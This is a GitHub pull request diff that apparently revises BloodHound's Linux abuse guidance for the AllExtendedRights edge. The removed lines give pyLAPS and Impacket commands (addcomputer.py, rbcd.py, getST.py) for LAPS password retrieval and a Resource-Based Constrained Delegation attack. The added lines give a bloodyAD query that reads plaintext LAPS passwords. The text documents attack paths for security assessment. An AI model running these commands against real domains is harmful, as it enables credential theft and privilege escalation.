Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix abuse info around read LAPS password narrative #1018

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion packages/go/graphschema/ad/ad.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 0 additions & 1 deletion packages/go/graphschema/azure/azure.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 0 additions & 1 deletion packages/go/graphschema/common/common.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ import { FC } from 'react';
import { EdgeInfoProps } from '../index';
import { Link, Typography } from '@mui/material';

const LinuxAbuse: FC<EdgeInfoProps & { haslaps: boolean }> = ({ sourceName, targetName, targetType, haslaps }) => {
const LinuxAbuse: FC<EdgeInfoProps> = ({ sourceName, targetName, targetType }) => {
switch (targetType) {
case 'User':
return (
Expand Down Expand Up @@ -57,116 +57,51 @@ const LinuxAbuse: FC<EdgeInfoProps & { haslaps: boolean }> = ({ sourceName, targ
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<Typography variant='body2'>
The AllExtendedRights permission grants {sourceName} the ability to obtain the LAPS (RID 500
administrator) password of {targetName}. {sourceName} can do so by listing a computer
object's AD properties with PowerView using Get-DomainComputer {targetName}. The value of
the ms-mcs-AdmPwd property will contain password of the administrative local account on{' '}
{targetName}.
</Typography>

<Typography variant='body2'>
Alternatively, AllExtendedRights on a computer object can be used to perform a
Resource-Based Constrained Delegation attack.
</Typography>

<Typography variant='body1'> Retrieve LAPS Password </Typography>
<Typography variant='body2'>
The AllExtendedRights permission grants {sourceName} the ability to obtain the RID 500
administrator password of {targetName}. {sourceName} can do so by listing a computer
object's AD properties with PowerView using Get-DomainComputer {targetName}. The value of
the ms-mcs-AdmPwd property will contain password of the administrative local account on{' '}
{targetName}.
</Typography>
<Typography variant='body2'>
<Link target='_blank' rel='noopener' href='https://github.com/p0dalirius/pyLAPS'>
pyLAPS
</Link>{' '}
can be used to retrieve LAPS passwords:
</Typography>
<Typography component={'pre'}>
{'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'}
</Typography>
<Typography variant='body1'> Resource-Based Constrained Delegation </Typography>
<Typography variant='body2'>
First, if an attacker does not control an account with an SPN set, a new attacker-controlled
computer account can be added with Impacket's addcomputer.py example script:
</Typography>
<Typography component={'pre'}>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
We now need to configure the target object so that the attacker-controlled computer can
delegate to it. Impacket's rbcd.py script can be used for that purpose:
</Typography>
<Typography component={'pre'}>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
And finally we can get a service ticket for the service name (sname) we want to "pretend" to
be "admin" for. Impacket's getST.py example script can be used for that purpose.
</Typography>
<Typography component={'pre'}>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</Typography>
<Typography variant='body2'>
This ticket can then be used with Pass-the-Ticket, and could grant access to the file system
of the TARGETCOMPUTER.
</Typography>
</>
);
} else {
return (
<>
<Typography variant='body2'>
AllExtendedRights on a computer object can be used to perform a Resource-Based Constrained
Delegation attack.
</Typography>

<Typography variant='body1'> Resource-Based Constrained Delegation </Typography>
<Typography variant='body2'>
First, if an attacker does not control an account with an SPN set, a new attacker-controlled
computer account can be added with Impacket's addcomputer.py example script:
</Typography>
<Typography component={'pre'}>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
We now need to configure the target object so that the attacker-controlled computer can
delegate to it. Impacket's rbcd.py script can be used for that purpose:
</Typography>
<Typography component={'pre'}>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
And finally we can get a service ticket for the service name (sname) we want to "pretend" to
be "admin" for. Impacket's getST.py example script can be used for that purpose.
</Typography>
<Typography component={'pre'}>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</Typography>
<Typography variant='body2'>
This ticket can then be used with Pass-the-Ticket, and could grant access to the file system
of the TARGETCOMPUTER.
</Typography>
</>
);
}
return (
<>
<Typography variant='body2'>
The AllExtendedRights permission allows {sourceName} to retrieve the LAPS (RID 500
administrator) password for {targetName}.
</Typography>
<Typography variant='body2'>
For systems using legacy LAPS, the following AD computer object properties are relevant:
<br />
<b>- ms-Mcs-AdmPwd</b>: The plaintext LAPS password
<br />
<b>- ms-Mcs-AdmPwdExpirationTime</b>: The LAPS password expiration time
<br />
</Typography>
<Typography variant='body2'>
For systems using Windows LAPS (2023 edition), the following AD computer object properties are
relevant:
<br />
<b>- msLAPS-Password</b>: The plaintext LAPS password
<br />
<b>- msLAPS-PasswordExpirationTime</b>: The LAPS password expiration time
<br />
<b>- msLAPS-EncryptedPassword</b>: The encrypted LAPS password
<br />
<b>- msLAPS-EncryptedPasswordHistory</b>: The encrypted LAPS password history
<br />
<b>- msLAPS-EncryptedDSRMPassword</b>: The encrypted Directory Services Restore Mode (DSRM)
password
<br />
<b>- msLAPS-EncryptedDSRMPasswordHistory</b>: The encrypted DSRM password history
<br />
</Typography>
<Typography variant='body2'>
Plaintext attributes can be read using a simple LDAP client. For example, with bloodyAD:
</Typography>
<Typography component={'pre'}>
{
"bloodyAD --host $DC_IP -d $DOMAIN -u $USER -p $PASSWORD get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime"
}
</Typography>
<Typography variant='body2'>
See Windows abuse for retrieving and decrypting the encrypted attributes.
</Typography>
</>
);
case 'Domain':
return (
<>
Expand All @@ -185,24 +120,6 @@ const LinuxAbuse: FC<EdgeInfoProps & { haslaps: boolean }> = ({ sourceName, targ
<Typography component={'pre'}>
{"secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"}
</Typography>

<Typography variant='body1'> Retrieve LAPS Passwords </Typography>

<Typography variant='body2'>
The AllExtendedRights permission also grants {sourceName} enough privileges, to retrieve LAPS
passwords domain-wise.
</Typography>

<Typography variant='body2'>
<Link target='_blank' rel='noopener' href='https://github.com/p0dalirius/pyLAPS'>
pyLAPS
</Link>{' '}
can be used for that purpose:
</Typography>

<Typography component={'pre'}>
{'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'}
</Typography>
</>
);
case 'CertTemplate':
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -42,12 +42,22 @@ const References: FC = () => {
https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
</Link>
<br />
<Link target='_blank' rel='noopener' href='https://www.thehacker.recipes/ad/movement/dacl/readlapspassword'>
https://www.thehacker.recipes/ad/movement/dacl/readlapspassword
<Link
target='_blank'
rel='noopener'
href='https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword'>
https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword
</Link>
<br />
<Link
target='_blank'
rel='noopener'
href='https://github.com/xpn/RandomTSScripts/tree/master/lapsv2decrypt'>
https://github.com/xpn/RandomTSScripts/tree/master/lapsv2decrypt
</Link>
<br />
<Link target='_blank' rel='noopener' href='https://eladshamir.com/2019/01/28/Wagging-the-Dog.html'>
https://eladshamir.com/2019/01/28/Wagging-the-Dog.html
<Link target='_blank' rel='noopener' href='https://github.com/CravateRouge/bloodyAD'>
https://github.com/CravateRouge/bloodyAD
</Link>
<br />
<Link
Expand Down
Loading
Loading